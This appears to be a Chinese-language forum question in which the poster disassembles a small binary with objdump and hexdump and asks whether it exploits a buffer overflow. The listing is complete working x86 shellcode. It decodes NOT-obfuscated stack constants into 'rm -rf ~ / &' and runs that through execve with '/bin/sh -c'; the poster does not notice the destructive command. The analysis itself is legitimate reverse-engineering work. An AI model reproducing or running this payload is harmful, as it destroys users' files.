我拿了那个二进制文件并运行它hexdump -vC
并且objdump
:
$ objdump -b binary -m i386 -D output
output: file format binary
Disassembly of section .data:
00000000 <.data>:
0: eb 3e jmp 0x40
2: 5b pop %ebx
3: 31 c0 xor %eax,%eax
5: 50 push %eax
6: 54 push %esp
7: 5a pop %edx
8: 83 ec 64 sub $0x64,%esp
b: 68 ff ff ff ff push $0xffffffff
10: 68 df d0 df d9 push $0xd9dfd0df
15: 68 8d 99 df 81 push $0x81df998d
1a: 68 8d 92 df d2 push $0xd2df928d
1f: 54 push %esp
20: 5e pop %esi
21: f7 16 notl (%esi)
23: f7 56 04 notl 0x4(%esi)
26: f7 56 08 notl 0x8(%esi)
29: f7 56 0c notl 0xc(%esi)
2c: 83 c4 74 add $0x74,%esp
2f: 56 push %esi
30: 8d 73 08 lea 0x8(%ebx),%esi
33: 56 push %esi
34: 53 push %ebx
35: 54 push %esp
36: 59 pop %ecx
37: b0 0b mov $0xb,%al
39: cd 80 int $0x80
3b: 31 c0 xor %eax,%eax
3d: 40 inc %eax
3e: eb f9 jmp 0x39
40: e8 bd ff ff ff call 0x2
45: 2f das
46: 62 69 6e bound %ebp,0x6e(%ecx)
49: 2f das
4a: 73 68 jae 0xb4
4c: 00 .byte 0x0
4d: 2d .byte 0x2d
4e: 63 00 arpl %ax,(%eax)
...
$ hexdump -vC output
00000000 eb 3e 5b 31 c0 50 54 5a 83 ec 64 68 ff ff ff ff |.>[1.PTZ..dh....|
00000010 68 df d0 df d9 68 8d 99 df 81 68 8d 92 df d2 54 |h....h....h....T|
00000020 5e f7 16 f7 56 04 f7 56 08 f7 56 0c 83 c4 74 56 |^...V..V..V...tV|
00000030 8d 73 08 56 53 54 59 b0 0b cd 80 31 c0 40 eb f9 |.s.VSTY....1.@..|
00000040 e8 bd ff ff ff 2f 62 69 6e 2f 73 68 00 2d 63 00 |...../bin/sh.-c.|
00000050 00 |.|
00000051
它看起来确实像某种程序。首先它跳转到偏移量0x40
,然后用于call 0x2
设置堆栈;然后是一堆操作,包括系统调用。程序数据似乎从 offset 开始0x45
并包含字符串"/bin/sh -c"
。
有问题的系统调用是 #11 ( mov $0xb,%al
),根据该表,它是sys_execve
. 我猜它正在尝试运行一个shell。此代码是否旨在利用缓冲区溢出?